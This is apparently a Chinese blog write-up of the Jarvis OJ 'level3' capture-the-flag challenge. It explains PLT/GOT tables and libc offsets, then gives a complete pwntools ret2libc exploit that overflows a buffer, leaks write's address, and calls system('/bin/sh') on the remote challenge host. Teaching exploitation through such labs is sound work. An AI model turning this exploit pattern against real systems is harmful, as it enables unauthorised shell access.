Jarvis oj level3

下载下来发现有level3文件和libc.so文件,先checksec,和level2差不多,接着ida打开level3,没找到system函数和bin字符串,没什么办法了。接着去看so文件,libc是Linux下的ANSI C的函数库。找到了system函数和bin字符串。那么怎么利用呢?

首先了解plt和got表。链接
在这里插入图片描述我是这么理解的:plt表中存放的是函数在got表中该项的地址,got表存放的是函数在内存中的真实地址,也就是说plt[write]指向got[write],got[write]指向write函数在内存中的地址。而plt表在服务器和客户机是一样的,不一样的是函数在内存中的地址。程序运行后加载动态库,把动态库中的相应函数地址填入GOT表。同时还有个知识点,libc文件中不同函数、数据之间的偏移量在服务器和客户机中是一样的。

因此思想是首先利用write函数将服务器中函数的地址泄露,构造write(got[write])。

pad
ebp
ret_addr
write的参数1,从右到左
write的参数2
write的参数3

得到服务器中write函数的真实地址。
由于函数在内存中距so文件开头地址是一样的,因此算出offset=服务器函数地址-本地地址,服务器地址即为本地地址+offset。

脚本:

from pwn import *
conn=remote("pwn2.jarvisoj.com","9879")
e=ELF("level3")
libc=ELF("libc-2.19.so")
write_addr=e.symbols['write']
vul_addr=e.symbols['vulnerable_function']
got_addr=e.got['write']

conn.recvuntil("Input:\n")
payload1="a"*0x88+"bbbb"+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4)
conn.send(payload1)
temp = conn.recv(4)
true_address = u32(temp[0:4])
print hex(true_address)

offset=true_address-libc.symbols['write']

bin_addr=libc.search("/bin/sh").next()+offset
sys_addr=libc.symbols['system']+offset

payload2="a"*0x88+"bbbb"+p32(sys_addr)+"junk"+p32(bin_addr)
conn.send(payload2)
conn.interactive()

注意点:
我在p32里运算有问题,拉出来就可以了。
还是有点没想明白,反正先记住:
func1_addr-libc.symbols[func1]==func2_addr-libc.symbols[func2]
不知道有没有问题。
好像libc不能用got[’’]

猜你喜欢

转载自blog.csdn.net/weixin_41617275/article/details/84796987